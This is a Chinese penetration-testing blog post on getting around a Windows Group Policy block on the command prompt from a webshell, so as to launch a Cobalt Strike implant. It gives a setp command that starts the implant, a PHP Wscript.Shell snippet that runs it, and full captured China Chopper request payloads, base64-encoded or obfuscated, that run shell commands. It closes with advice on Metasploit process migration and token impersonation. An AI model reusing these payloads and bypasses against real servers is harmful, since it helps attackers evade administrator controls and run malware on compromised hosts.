0

    组策略禁用命令提示符的绕过方式

    2023.04.12 | admin | 239次围观

    声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

    请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

    0x01 前言

    前几天有个哥们私聊我说遇到个命令执行问题,Web环境为phpStudy搭建,在中国菜刀虚拟终端里不能执行命令,提示:命令提示符已被系统管理员停用。

    问有没有办法绕?答案肯定是有的命令提示符找不到路径,接下来我们就一起来看下如何绕过这个组策略命令执行限制。

    大家都知道phpStudy的Apache默认是以当前登录用户或System运行,这样就省去了提权时间。

    但在后渗透中是否能够执行命令也是至关重要的一步,就好比这哥们,拿到了高权限Webshell,却不知道要如何绕过这个命令执行上线CS,这就很尴尬了。

    0x02 命令执行拦截复现

    首先我们得弄明白为什么在执行命令时会出现这种拦截提示???因为之前测试过类似问题,所以猜测可能是组策略某个设置引起的,经过查找发现可通过以下组策略来复现该问题。

    设置方法如下:

    gpedit.msc->用户配置->管理模板->系统->阻止访问命令提示符(脚本处理);

    但该设置仅对当前登录用户有效,对Users、System、NetworkService以及其他用户均无效。

    0x03 IIS环境命令执行绕过

    如果目标为IIS环境,我们只需在中国菜刀虚拟终端里用setp命令将CS木马指定为新终端,然后随便的输入几个字符回车即可跳出cmd.exe执行CS木马上线,只要能跳出cmd.exe就可以绕过。

    setp C:\inetpub\wwwroot\artifact.exe

    通过WSExplorer抓包工具可以看到中国菜刀的ASPX是用System.Diagnostics来执行命令的,所以可以使用setp命令来指定启动进程,数据包中有几段base64编码,解码后就能看到了。

    pass=Response.Write("->|");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=QzpcaW5ldHB1Ylx3d3dyb290XGFydGlmYWN0LmV4ZQ%3D%3D&z2=Y2QgL2QgIkM6XGluZXRwdWJcd3d3cm9vdFwiJjNoYWQwdyZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

    或者可以在ASPX大马中利用白名单方式绕过,CmdPath填白名单文件路径命令提示符找不到路径,Argument填我们白名单执行文件的路径,也可将CS/MSF木马放在CmdPath中直接执行即可。

    0x04 Apache环境命令执行绕过

    IIS绕过方式在Apache环境中无法使用,所以另找了一种绕过方式,通过php调用com组件wscript.shell执行命令,将以下代码的第3行替换为CS木马即可,归根到底还是得跳出cmd.exe。

    $wsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");$exec=$wsh->exec("C:\ProgramData\artifact.exe");?>

    为什么不用system、exec、proc_open等常用命令执行函数呢?因为它们默认都是调用cmd.exe来执行命令的,所以还是会被拦截。

    如中国菜刀的PHP就是用的proc_open,这也是为什么中国菜刀ASPX下能使用setp绕过,而PHP下就不能使用setp绕过的原因。

    pass=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nY21kJzskcz0nY2QgL2QgRDpcXHBocFN0dWR5XFxQSFBUdXRvcmlhbFxcV1dXXFxhdlxcMVxcJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXSc7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"))

    虽然通过以上几种方式都能绕过了组策略“阻止访问命令提示符”得到目标主机会话,但还是不能直接在该会话中执行系统命令。

    需要联动到MSF上使用进程迁移或假冒令牌到其他用户才可以执行系统命令,CS联动MSF时用的rundll32,所以不会再被拦截了。

    这时我们已经完全绕过了组策略的“阻止访问命令提示符”功能,并且能够正常执行系统命令了。

    好了,此次分享就到此结束了,再见!!!

    版权声明

    本文仅代表作者观点。
    本文系作者授权发表,未经许可,不得转载。

    发表评论